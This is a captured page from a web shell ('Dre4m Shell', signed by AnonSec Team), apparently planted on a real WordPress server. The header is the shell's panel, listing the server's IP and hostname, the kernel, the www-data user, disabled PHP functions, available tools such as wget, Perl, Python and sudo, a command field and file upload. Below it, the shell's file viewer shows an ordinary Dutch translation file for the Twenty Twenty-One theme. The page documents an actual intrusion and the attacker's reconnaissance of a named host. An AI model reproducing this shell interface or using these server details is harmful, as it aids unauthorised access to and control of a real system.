Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.22.42.25
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/themes/twentytwentyone-nl_NL.po
# Translation of Themes - Twenty Twenty-One in Dutch
# This file is distributed under the same license as the Themes - Twenty Twenty-One package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-03-29 19:16:56+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: nl\n"
"Project-Id-Version: Themes - Twenty Twenty-One\n"

#. Description of the theme
#, gp-priority: high
msgid "Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. With new block patterns, which allow you to create a beautiful layout in a matter of seconds, this theme’s soft colors and eye-catching — yet timeless — design will let your work shine. Take it for a spin! See how Twenty Twenty-One elevates your portfolio, business website, or personal blog."
msgstr "Twenty Twenty-One is een leeg canvas voor je ideeën en het maakt de blok-editor je beste penseel. Met nieuwe blokpatronen, waarmee je binnen enkele seconden een prachtige lay-out kan maken, zullen de zachte kleuren en het opvallende, maar tijdloze ontwerp van dit thema je werk laten schitteren. Probeer het eens! Zie hoe Twenty Twenty-One je portfolio, zakelijke site of persoonlijke blog verbetert."

#. Theme Name of the theme
#: classes/class-twenty-twenty-one-dark-mode.php:381 inc/block-patterns.php:24
#, gp-priority: high
msgid "Twenty Twenty-One"
msgstr "Twenty Twenty-One"

#: inc/template-tags.php:241
msgid "Older <span class=\"nav-short\">posts</span>"
msgstr "Oudere <span class=\"nav-short\">berichten</span>"

#: inc/template-tags.php:230
msgid "Newer <span class=\"nav-short\">posts</span>"
msgstr "Nieuwere <span class=\"nav-short\">berichten</span>"

#: classes/class-twenty-twenty-one-customize-notice-control.php:40
#: classes/class-twenty-twenty-one-dark-mode.php:178
msgid "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"
msgstr "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"

#. translators: %s: Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:177
msgid "Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href=\"%s\">Learn more about Dark Mode.</a>"
msgstr "Donkere modus is een apparaatinstelling. Als een bezoeker van je site daarom vraagt, wordt je site weergegeven met een donkere achtergrond en lichte tekst. <a href=\"%s\">Meer informatie over de donkere modus.</a>"

#: classes/class-twenty-twenty-one-dark-mode.php:181
msgid "Dark Mode can also be turned on and off with a button that you can find in the bottom corner of the page."
msgstr "De donkere modus kan ook worden in- en uitgeschakeld met een knop die je in de hoek van de bodem op de pagina vindt."

#: classes/class-twenty-twenty-one-dark-mode.php:380
msgid "This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred."
msgstr "Deze site gebruikt LocalStorage om de instelling op te slaan wanneer donkere modus ondersteuning aan of uit is gezet.<br>LocalStorage is noodzakelijk voor de instelling om te werken en wordt alleen gebruikt wanneer een gebruiker op de donkere modus knop klikt.<br>Er worden geen gegevens opgeslagen in de database of overgezet."

#: classes/class-twenty-twenty-one-dark-mode.php:379
msgid "Suggested text:"
msgstr "Voorgestelde tekst:"

#: classes/class-twenty-twenty-one-dark-mode.php:378
msgid "Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled."
msgstr "Twenty Twenty-One gebruikt LocalStorage wanneer de ondersteuning voor donkere modus is geactiveerd."

#: classes/class-twenty-twenty-one-dark-mode.php:188
msgid "Dark Mode support"
msgstr "Ondersteuning voor donkere modus"

#: classes/class-twenty-twenty-one-customize-notice-control.php:41
msgid "Learn more about Dark Mode."
msgstr "Leer meer over donkere modus."

#: classes/class-twenty-twenty-one-customize-notice-control.php:39
msgid "To access the Dark Mode settings, select a light background color."
msgstr "Selecteer een lichte achtergrondkleur om toegang te krijgen tot de instellingen voor donkere modus."

#: classes/class-twenty-twenty-one-dark-mode.php:134
msgid "Colors & Dark Mode"
msgstr "Kleuren & donkere modus"

#: inc/template-tags.php:77
msgctxt "Label for sticky posts"
msgid "Featured post"
msgstr "Uitgelicht bericht"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Submit"
msgstr "Verzenden"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Password"
msgstr "Wachtwoord"

#: inc/template-functions.php:183
msgctxt "Added to posts and pages that are missing titles"
msgid "Untitled"
msgstr "Naamloos"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "Cambridge, MA, 02139"
msgstr "Cambridge, MA, 02139"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123 Main Street"
msgstr "123 Main Street"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123-456-7890"
msgstr "123-456-7890"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "example@example.com"
msgstr "example@example.com"

#: classes/class-twenty-twenty-one-customize.php:138
msgctxt "Customizer control"
msgid "Background color"
msgstr "Achtergrondkleur"

#. translators: %s: WordPress Version.
#: inc/back-compat.php:42 inc/back-compat.php:61 inc/back-compat.php:86
msgid "This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade."
msgstr "Dit thema vereist WordPress 5.3 of nieuwer. Je gebruikt versie %s. Update eerst."

#. translators: %: Page number.
#: image.php:48 template-parts/content/content-page.php:36
#: template-parts/content/content-single.php:30
#: template-parts/content/content.php:36
msgid "Page %"
msgstr "Pagina %"

#: functions.php:187
msgctxt "Font size"
msgid "XXXL"
msgstr "XXXL"

#: functions.php:181
msgctxt "Font size"
msgid "XXL"
msgstr "XXL"

#: functions.php:175
msgctxt "Font size"
msgid "XL"
msgstr "XL"

#: functions.php:169
msgctxt "Font size"
msgid "L"
msgstr "L"

#: functions.php:163
msgctxt "Font size"
msgid "M"
msgstr "M"

#: functions.php:157
msgctxt "Font size"
msgid "S"
msgstr "S"

#: functions.php:151
msgctxt "Font size"
msgid "XS"
msgstr "XS"

#: comments.php:85
msgid "Leave a comment"
msgstr "Geef een reactie"

#. translators: %s: Comment count number.
#: comments.php:39
msgctxt "Comments title"
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s reactie"
msgstr[1] "%s reacties"

#: comments.php:34
msgid "1 comment"
msgstr "1 reactie"

#: classes/class-twenty-twenty-one-dark-mode.php:334
msgid "On"
msgstr "Aan"

#: classes/class-twenty-twenty-one-dark-mode.php:331
msgid "Off"
msgstr "Uit"

#. translators: %s: On/Off
#: classes/class-twenty-twenty-one-dark-mode.php:321
msgid "Dark Mode: %s"
msgstr "Donkere modus: %s"

#: inc/template-functions.php:422
msgid "This content is password protected. Please enter a password to view."
msgstr "Deze inhoud is beveiligd met een wachtwoord. Voer een wachtwoord in om het te bekijken."

#. translators: Hidden accessibility text.
#: inc/menu-functions.php:35
msgid "Open menu"
msgstr "Open menu"

#: inc/block-patterns.php:125
msgid "&#8220;Reading&#8221; by Berthe Morisot"
msgstr "&#8220;Lezen&#8221; door Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Self portrait&#8221; by Berthe Morisot"
msgstr "&#8220;Zelfportret&#8221; door Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Daffodils&#8221; by Berthe Morisot"
msgstr "&#8220;Narcissen&#8221; door Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:43
msgid "&#8220;Roses Trémières&#8221; by Berthe Morisot"
msgstr "&#8220;Roses Trémières&#8221; door Berthe Morisot"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Enter"
msgstr "Enter"

#: inc/starter-content.php:128
msgctxt "Theme starter content"
msgid "Check out the Support Forums"
msgstr "Bezoek de ondersteuningsforums"

#: inc/starter-content.php:122
msgctxt "Theme starter content"
msgid "Read the Theme Documentation"
msgstr "Lees de thema documentatie"

#: inc/starter-content.php:112
msgctxt "Theme starter content"
msgid "Need help?"
msgstr "Hulp nodig?"

#: inc/starter-content.php:97
msgctxt "Theme starter content"
msgid "Twenty Twenty-One also includes an overlap style for column blocks. With a Columns block selected, open the \"Styles\" panel within the Editor sidebar. Choose the \"Overlap\" block style to try it out."
msgstr "Twenty Twenty-One bevat ook een overlappingsstijl voor kolomblokken. Met een Kolommen blok geselecteerd, open je het \"Stijlen\" paneel in de Editor zijbalk. Kies de blokstijl \"Overlap\" om het uit te proberen."

#: inc/starter-content.php:93
msgctxt "Theme starter content"
msgid "Overlap columns"
msgstr "Overlap kolommen"

#: inc/starter-content.php:87
msgctxt "Theme starter content"
msgid "Twenty Twenty-One includes stylish borders for your content. With an Image block selected, open the \"Styles\" panel within the Editor sidebar. Select the \"Frame\" block style to activate it."
msgstr "Twenty Twenty-One bevat stijlvolle randen voor je inhoud. Met een afbeeldingsblok geselecteerd, open je het \"Stijlen\" paneel in de Editor zijbalk. Selecteer de blokstijl \"Frame\" om deze te activeren."

#: inc/starter-content.php:83
msgctxt "Theme starter content"
msgid "Frame your images"
msgstr "Omkader je afbeeldingen"

#: inc/starter-content.php:77
msgctxt "Theme starter content"
msgid "Block patterns are pre-designed groups of blocks. To add one, select the Add Block button [+] in the toolbar at the top of the editor. Switch to the Patterns tab underneath the search bar, and choose a pattern."
msgstr "Blokpatronen zijn groepen van vooraf ontworpen blokken. Om er een toe te voegen, selecteer je de knop Blok toevoegen [+] in de toolbar bovenaan de editor. Schakel over naar de tab Patronen onder de zoekbalk en kies een patroon."

#: inc/starter-content.php:73
msgctxt "Theme starter content"
msgid "Add block patterns"
msgstr "Voeg blokpatronen toe"

#: inc/starter-content.php:30 inc/starter-content.php:33
msgctxt "Theme starter content"
msgid "Create your website with blocks"
msgstr "Maak je site met blokken"

#: inc/block-patterns.php:125
msgid "Reading"
msgstr "Lezing"

#: inc/block-patterns.php:125
msgid "Young Woman in Mauve"
msgstr "Jonge vrouw in Mauve"

#: inc/block-patterns.php:125
msgid "The Garden at Bougival"
msgstr "De tuin bij Bougival"

#: inc/block-patterns.php:125
msgid "In the Bois de Boulogne"
msgstr "In het Bois de Boulogne"

#: inc/block-patterns.php:125
msgid "Villa with Orange Trees, Nice"
msgstr "Villa met sinaasappelbomen, Nice"

#: inc/block-patterns.php:125
msgid "Roses Trémières"
msgstr "Roses Trémières"

#: inc/block-patterns.php:114
msgid "&#8220;Villa with Orange Trees, Nice&#8221; by Berthe Morisot"
msgstr "&#8220;Villa met sinaasappelbomen, Nice&#8221; door Berthe Morisot"

#: inc/block-patterns.php:114
msgid "Beautiful gardens painted by Berthe Morisot in the late 1800s"
msgstr "Prachtige tuinen geschilderd door Berthe Morisot aan het eind van de 19e eeuw"

#: inc/block-patterns.php:114 inc/block-patterns.php:125
msgid "&#8220;The Garden at Bougival&#8221; by Berthe Morisot"
msgstr "&#8220;De tuin in Bougival&#8221; door Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:61
msgid "&#8220;Young Woman in Mauve&#8221; by Berthe Morisot"
msgstr "&#8220;Jonge vrouw in Mauve&#8221; door Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:51
msgid "&#8220;In the Bois de Boulogne&#8221; by Berthe Morisot"
msgstr "&#8220;In het Bois de Boulognee&#8221; door Berthe Morisot"

#: inc/block-patterns.php:76
msgid "Berthe Morisot<br>(French, 1841-1895)"
msgstr "Berthe Morisot<br>(Frans, 1841-1895)"

#: inc/block-patterns.php:76
msgid "Playing in the Sand"
msgstr "Spelen in het zand"

#: inc/block-patterns.php:76
msgid "&#8220;Playing in the Sand&#8221; by Berthe Morisot"
msgstr "&#8220;Spelen in het zand&#8221; door Berthe Morisot"

#. translators: %s: Parent post.
#: image.php:61
msgid "Published in %s"
msgstr "Gepubliceerd in %s"

#: classes/class-twenty-twenty-one-customize.php:108
msgid "Summary"
msgstr "Samenvatting"

#: classes/class-twenty-twenty-one-customize.php:85
msgid "Excerpt Settings"
msgstr "Instellingen samenvatting"

#: inc/block-styles.php:98
msgid "Thick"
msgstr "Dik"

#: classes/class-twenty-twenty-one-customize.php:106
msgid "On Archive Pages, posts show:"
msgstr "Op archiefpagina's tonen berichten:"

#. translators: %s: Author name.
#: template-parts/post/author-bio.php:31
msgid "View all of %s's posts."
msgstr "Bekijk alle berichten van %s."

#. translators: %s: Author name.
#: inc/template-tags.php:49 template-parts/post/author-bio.php:19
msgid "By %s"
msgstr "Door %s"

#: template-parts/content/content-none.php:61
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Het lijkt erop dat wij niet kunnen vinden wat je zoekt. Wellicht dat de zoekfunctie kan helpen."

#: template-parts/content/content-none.php:56
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Er kwam niets overeen met je zoektermen. Probeer het opnieuw met een aantal andere trefwoorden."

#. translators: %s: Link to WP admin new post page.
#: template-parts/content/content-none.php:43
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "Klaar om je eerste bericht te publiceren? <a href=\"%s\">Begin hier</a>."

#: single.php:40
msgid "Previous post"
msgstr "Vorig bericht"

#: single.php:39
msgid "Next post"
msgstr "Volgend bericht"

#. translators: %s: Parent post link.
#: single.php:25
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>"
msgstr "<span class=\"meta-nav\">Gepubliceerd in</span><span class=\"post-title\">%s</span>"

#: searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "Zoek"

#: searchform.php:24
msgid "Search&hellip;"
msgstr "Zoeken&hellip;"

#. translators: %d: The number of search results.
#: search.php:33
msgid "We found %d result for your search."
msgid_plural "We found %d results for your search."
msgstr[0] "We hebben %d resultaat gevonden voor je zoekopdracht."
msgstr[1] "We hebben %d resultaten gevonden voor je zoekopdracht."

#. translators: %s: Search term.
#: search.php:21 template-parts/content/content-none.php:22
msgid "Results for \"%s\""
msgstr "Resultaten voor \"%s\""

#. translators: %s: List of tags.
#: inc/template-tags.php:116 inc/template-tags.php:158
msgid "Tagged %s"
msgstr "Getagged %s"

#. translators: %s: List of categories.
#: inc/template-tags.php:107 inc/template-tags.php:149
msgid "Categorized as %s"
msgstr "Gecategoriseerd als %s"

#. translators: Used between list items, there is a space after the comma.
#: functions.php:654
msgid ", "
msgstr ", "

#. translators: %s: Post title. Only visible to screen readers.
#: image.php:70 image.php:96 inc/template-tags.php:92 inc/template-tags.php:133
#: template-parts/content/content-page.php:48
msgid "Edit %s"
msgstr "Bewerk %s"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-functions.php:138
msgid "Continue reading %s"
msgstr "Lees verder %s"

#: inc/block-styles.php:71
msgid "Dividers"
msgstr "Verdelers"

#: inc/block-styles.php:62
msgid "Frame"
msgstr "Frame"

#: inc/block-styles.php:35 inc/block-styles.php:44 inc/block-styles.php:53
#: inc/block-styles.php:80 inc/block-styles.php:89
msgid "Borders"
msgstr "Randen"

#: inc/block-styles.php:26
msgid "Overlap"
msgstr "Overlappen"

#: inc/block-patterns.php:135
msgctxt "Block pattern description"
msgid "A block with 3 columns that display contact information and social media links."
msgstr "Een blok met 3 kolommen met contactgegevens en links naar sociale media."

#: inc/block-patterns.php:132
msgid "Contact information"
msgstr "Contactinformatie"

#: inc/block-patterns.php:124
msgctxt "Block pattern description"
msgid "A list of projects with thumbnail images."
msgstr "Een lijst van projecten met thumbnail afbeeldingen."

#: inc/block-patterns.php:122
msgid "Portfolio list"
msgstr "Porfolio lijst"

#: inc/block-patterns.php:113
msgctxt "Block pattern description"
msgid "An overlapping columns block with two images and a text description."
msgstr "Een overlappend kolommenblok met twee afbeeldingen en een tekstbeschrijving."

#: inc/block-patterns.php:109
msgid "Overlapping images and text"
msgstr "Overlappende afbeeldingen en tekst"

#: inc/block-patterns.php:100
msgctxt "Block pattern description"
msgid "A media & text block with a big image on the left and a smaller one with bordered frame on the right."
msgstr "Een media & tekstblok met een grote afbeelding aan de linkerkant en een kleinere met een omrand frame aan de rechterkant."

#: inc/block-patterns.php:97
msgid "Two images showcase"
msgstr "Twee afbeeldingen laten zien"

#: inc/block-patterns.php:88
msgctxt "Block pattern description"
msgid "Three images inside an overlapping columns block."
msgstr "Drie afbeeldingen in een overlappend kolommenblok."

#: inc/block-patterns.php:84
msgid "Overlapping images"
msgstr "Overlappende afbeeldingen"

#: inc/block-patterns.php:75
msgctxt "Block pattern description"
msgid "A Media & Text block with a big image on the left and a heading on the right. The heading is followed by a separator and a description paragraph."
msgstr "Een Media & Tekstblok met links een grote afbeelding en rechts een kop. De header wordt gevolgd door een scheidingsteken en een beschrijvingsparagraaf."

#: inc/block-patterns.php:72
msgid "Media and text article title"
msgstr "Media en tekst artikeltitel"

#: inc/block-patterns.php:64
msgid "example@example.com"
msgstr "example@example.com"

#: inc/block-patterns.php:64
msgid "Dribbble"
msgstr "Dribbble"

#: inc/block-patterns.php:64
msgid "Instagram"
msgstr "Instagram"

#: inc/block-patterns.php:64
msgid "Twitter"
msgstr "Twitter"

#: inc/block-patterns.php:64
msgid "Let&#8217;s Connect."
msgstr "Laten we verbinding maken."

#: inc/block-patterns.php:63
msgctxt "Block pattern description"
msgid "A huge text followed by social networks and email address links."
msgstr "Een enorme tekst gevolgd door sociale netwerken en links naar e-mailadressen."

#: inc/block-patterns.php:59
msgid "Links area"
msgstr "Link gebied"

#: inc/block-patterns.php:51
msgid "A new portfolio default theme for WordPress"
msgstr "Een nieuw portfolio standaard thema voor WordPress"

#: inc/block-patterns.php:47
msgid "Large text"
msgstr "Grote tekst"

#. translators: Hidden accessibility text.
#: image.php:84
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Volledige grootte"

#. translators: %s: Publish date.
#: inc/template-tags.php:29
msgid "Published %s"
msgstr "Gepubliceerd op %s"

#: comments.php:61 image.php:45 inc/template-tags.php:224
#: template-parts/content/content-page.php:33
#: template-parts/content/content-single.php:27
#: template-parts/content/content.php:33
msgid "Page"
msgstr "Pagina"

#: template-parts/header/site-nav.php:19
msgid "Close"
msgstr "Sluiten"

#: template-parts/header/site-nav.php:16
msgid "Menu"
msgstr "Menu"

#: functions.php:76 inc/starter-content.php:154
#: template-parts/header/site-nav.php:13
msgid "Primary menu"
msgstr "Primair menu"

#. translators: Hidden accessibility text.
#: header.php:29
msgid "Skip to content"
msgstr "Ga naar de inhoud"

#: functions.php:363
msgid "Add widgets here to appear in your footer."
msgstr "Voeg hier widgets toe die in je footer verschijnen."

#: functions.php:361
msgid "Footer"
msgstr "Footer"

#: functions.php:309
msgid "Red to purple"
msgstr "Rood tot paars"

#: functions.php:304
msgid "Purple to red"
msgstr "Paars tot rood"

#: functions.php:299
msgid "Yellow to red"
msgstr "Geel tot rood"

#: functions.php:294
msgid "Red to yellow"
msgstr "Rood tot geel"

#: functions.php:289
msgid "Yellow to green"
msgstr "Geel tot groen"

#: functions.php:284
msgid "Green to yellow"
msgstr "Groen tot geel"

#: functions.php:279
msgid "Yellow to purple"
msgstr "Geel tot paars"

#: functions.php:274
msgid "Purple to yellow"
msgstr "Paars tot geel"

#: functions.php:263
msgid "White"
msgstr "Wit"

#: functions.php:258
msgid "Yellow"
msgstr "Geel"

#: functions.php:253
msgid "Orange"
msgstr "Oranje"

#: functions.php:248
msgid "Red"
msgstr "Rood"

#: functions.php:243
msgid "Purple"
msgstr "Paars"

#: functions.php:238
msgid "Blue"
msgstr "Blauw"

#: functions.php:233
msgid "Green"
msgstr "Groen"

#: functions.php:228
msgid "Gray"
msgstr "Grijs"

#: functions.php:223 inc/block-styles.php:107
msgid "Dark gray"
msgstr "Donkergrijs"

#: functions.php:218
msgid "Black"
msgstr "Zwart"

#: functions.php:186
msgid "Gigantic"
msgstr "Gigantisch"

#: functions.php:180
msgid "Huge"
msgstr "Reusachtig"

#: functions.php:174
msgid "Extra large"
msgstr "Extra groot"

#: functions.php:168
msgid "Large"
msgstr "Groot"

#: functions.php:162
msgid "Normal"
msgstr "Normaal"

#: functions.php:156
msgid "Small"
msgstr "Klein"

#: functions.php:150
msgid "Extra small"
msgstr "Extra klein"

#. translators: %s: WordPress.
#: footer.php:67
msgid "Proudly powered by %s."
msgstr "Met trots aangedreven door %s."

#: footer.php:24 functions.php:77 inc/starter-content.php:165
msgid "Secondary menu"
msgstr "Secundair menu"

#: comments.php:78
msgid "Comments are closed."
msgstr "Reacties zijn gesloten."

#: comments.php:70
msgid "Newer comments"
msgstr "Nieuwere reacties"

#: comments.php:66
msgid "Older comments"
msgstr "Oudere reacties"

#: classes/class-twenty-twenty-one-customize.php:109
msgid "Full text"
msgstr "Volledige tekst"

#: classes/class-twenty-twenty-one-customize.php:75
msgid "Display Site Title & Tagline"
msgstr "Toon site titel & slogan"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Het lijkt erop dat er op deze locatie niets is gevonden. Misschien een zoekopdracht proberen?"

#: 404.php:16 template-parts/content/content-none.php:30
msgid "Nothing here"
msgstr "Hier is niets"

#. Author URI of the theme
#: footer.php:68
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the theme
#, gp-priority: low
msgid "the WordPress team"
msgstr "the WordPress team"

#. Theme URI of the theme
#, gp-priority: low
msgid "https://wordpress.org/themes/twentytwentyone/"
msgstr "https://wordpress.org/themes/twentytwentyone/"

Anon7 - 2022
AnonSec Team